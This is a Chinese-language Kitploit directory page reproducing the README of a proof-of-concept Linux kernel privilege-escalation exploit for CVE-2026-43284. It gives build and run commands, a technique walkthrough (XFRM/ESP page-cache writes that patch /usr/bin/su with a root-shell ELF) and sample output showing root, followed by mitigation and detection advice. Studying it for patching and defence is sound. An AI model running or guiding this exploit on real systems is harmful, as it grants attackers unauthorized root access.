Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-43284-DirtyFrag-PoC — 概念证明针对CVE-2026-43284——4字节XFRM/ESP页缓存写入原语,用于修补setuid二进制文件(x86_64,用户命名空间)。包括内核预检查+SUID扫描。 | Kitploit
工具/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
权限提升漏洞分析漏洞利用渗透测试学习与教育二进制利用
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

概念证明针对CVE-2026-43284——4字节XFRM/ESP页缓存写入原语,用于修补setuid二进制文件(x86_64,用户命名空间)。包括内核预检查+SUID扫描。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
121个月前尚未审核

CVE-2026-43284 — 4字节XFRM/ESP

CVE Platform Type Status

概念验证 通过XFRM/ESP页缓存损坏实现本地权限提升
4字节写入原语 · 48次迭代 · 192字节ELF覆写 · 非特权用户 + netns


概念验证

WSL2 Ubuntu 24.04 上的预检查与漏洞利用阶段 成功获取 root shell,uid=0 验证

左图:内核预检、setuid 扫描及利用链  ·  右图:生成的 root shell —— id / whoami 确认 uid=0(root)
测试于 WSL2 · Ubuntu 24.04.1 LTS · 内核 6.6.87.2-microsoft-standard-WSL2


root@kitploit:~
  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

免责声明: 仅用于授权安全研究、教育以及测试您拥有或明确获得许可的系统。作者不对滥用行为负责。


概述

即使 algif_aead 被列入黑名单也能工作——该利用直接使用内核 XFRM/ESP 代码路径。


特性

利用前内置预检:

  1. 内核配置 — 验证 CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP
    (读取 /boot/config-*、/lib/modules/*/config 或 WSL2 上的 /proc/config.gz)
  2. Setuid 扫描 — 列出系统上的 SUID 二进制文件 (find / -perm -4000)
  3. 利用 — 修补页缓存、通过 PTY 生成 root shell、退出时恢复目标

要求

内核选项

root@kitploit:~
CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # 或 =y

快速检查:

root@kitploit:~
# 物理机 / 虚拟机
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

其他

  • Linux 内核易受 CVE-2026-43284 影响(参见补丁状态)
  • gcc、libc、libutil(用于 forkpty)
  • 可读的 setuid 目标二进制文件(默认:/usr/bin/su)

构建

root@kitploit:~
git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

或手动:

root@kitploit:~
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

使用 -O0 是有意为之——优化可能破坏时间敏感的 splice/UDP 行为。


使用方法

1. 确认您是非特权用户

root@kitploit:~
id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. 运行利用程序

root@kitploit:~
./sley-dirtyfrag                  # 默认目标:/usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # 自定义 setuid 二进制文件

该工具自动执行三个阶段:

阶段功能
1内核配置预检 (、、)

3. 验证 root 权限

在生成的 shell 内:

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. 退出以恢复

按 Ctrl+D 或输入 exit。PoC 会清除页缓存,因此磁盘上的原始二进制文件会自动恢复。

如果恢复失败:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches

命令参考

命令描述

示例输出

root@kitploit:~
┌─[ phase 1] 内核配置预检
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (需要 =y)
  [+] CONFIG_XFRM           = y  (需要 =y)
  [+] CONFIG_INET_ESP       = m  (需要 =m 或 =y)
  内核选项 OK。

┌─[ phase 2] setuid 二进制扫描
  10 /usr/bin/su  ← 目标
  找到 14 个 setuid 二进制文件。

┌─[ phase 3] 利用
  [*] unshare userns+netns, 注册 48 个 XFRM SA, splice→UDP 4500...
  [+] corrupt               所有迭代完成
  [+] verify                ELF 补丁检测成功

  ╔══════════════════════════════════════╗
  ║  root shell — 退出以恢复              ║
  ╚══════════════════════════════════════╝

缓解措施

应用内核补丁(推荐)

修复版本f4c50a4034e6 (主线, 2026年5月8日)
引入版本cac2661c53f3 (2017年1月)

操作: 升级到包含该修复的发行版内核,或从已修补的主线树构建。

root@kitploit:~
# 检查当前运行的内核
uname -r

# 验证补丁是否存在(示例——根据您发行版的软件包命名调整)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

强化选项(纵深防御)

限制非特权用户命名空间

此利用依赖于非 root 用户执行 unshare(CLONE_NEWUSER | CLONE_NEWNET)。

root@kitploit:~
# 运行时(并非所有内核都存在)
sysctl kernel.unprivileged_userns_clone=0

# 或在构建时禁用
# CONFIG_USER_NS is not set

注意: 禁用用户命名空间会阻止这个 PoC,但不一定阻止 CVE-2026-43500(针对无 userns 系统的 rxrpc 变体)。

审计 setuid 二进制文件

root@kitploit:~
find / -perm -4000 -type f 2>/dev/null
# 移除或强化不需要的二进制文件

怀疑被入侵时清除缓存

如果您认为 setuid 二进制文件已被内存中修补:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 通过包管理器/已知哈希重新验证二进制文件完整性

工作原理

  1. unshare(CLONE_NEWUSER | CLONE_NEWNET) — 隔离的用户/网络命名空间(无需 root)。
  2. 注册 48 个 XFRM 安全关联 — shellcode 字节编码在 ESN seq_hi 中(每个 SA 4 字节)。
  3. 通过 UDP 端口 4500 触发,使用 UDP_ENCAP_ESPINUDP:
    • splice() 将目标文件读入管道
    • splice() 将数据从管道移动到 UDP 套接字
    • 页缓存的页面通过 skip_cow 路径进入 ESP 散聚列表
    • authencesn scatterwalk 在 assoclen + cryptlen 处写入 seq_hi
  4. HMAC 失败——但页缓存的写入持续存在。
  5. 执行已修补的 setuid 二进制文件——最小化 ELF 运行 setuid(0) / setgid(0) / execve("/bin/sh")。
  6. ——清除页缓存 (),使内核从磁盘重新加载干净文件。

测试环境

环境内核
WSL2 Ubuntu 24.04.1 LTS6.6.87.2-microsoft-standard-WSL2
Ubuntu 24.04易受攻击的构建版本
Fedora 44易受攻击的构建版本

相关工作

  • CVE-2026-43500 — 针对没有用户命名空间的系统的 rxrpc 变体;使用 8 字节 pcbc(fcrypt) 暴力原语攻击 /etc/passwd。不包含在此仓库中。

文件


许可证

按现状提供,仅用于研究和教育。请负责任地使用。


作者

SLEY — CVE-2026-43284 dirtyfrag PoC

如果这对您的研究有帮助,请考虑给仓库加星。

下载工具
CVECVE-2026-43284
类型本地权限提升 (LPE)
向量XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) 页缓存损坏
原语每次迭代4字节 (ESN seq_hi)
载荷192字节 x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh"))
默认目标/usr/bin/su
架构仅 x86_64
所需权限非特权用户 (使用用户 + 网络命名空间)
CONFIG_USER_NS
CONFIG_XFRM
CONFIG_INET_ESP
2全系统 setuid 二进制扫描;高亮默认目标
3备份目标 → 修补页缓存 (48次×4字节写入) → 生成 root shell
./sley-dirtyfrag利用 /usr/bin/su (默认)
./sley-dirtyfrag /path/to/suid利用自定义 setuid 二进制文件
make构建 sley-dirtyfrag
make clean删除二进制文件
措施效果
修补/升级内核消除底层的页缓存写入漏洞
限制用户命名空间阻止此 PoC(需要 CONFIG_USER_NS)
移除不必要的 setuid 二进制文件减少可用目标 (chmod u-s 或卸载)
锁定 / LSM (SELinux, AppArmor)根据策略可能限制利用后的影响
监控 XFRM + UDP/4500检测来自非特权命名空间的异常 SA 注册和 ESP-in-UDP 流量
Shell 退出时
posix_fadvise
文件描述
sley-dirtyfrag.c利用源代码
Makefile构建辅助文件
proof-of-concept-1.jpgPoC 截图——预检 + 利用
proof-of-concept-2.jpgPoC 截图——root shell 验证
README.md本文件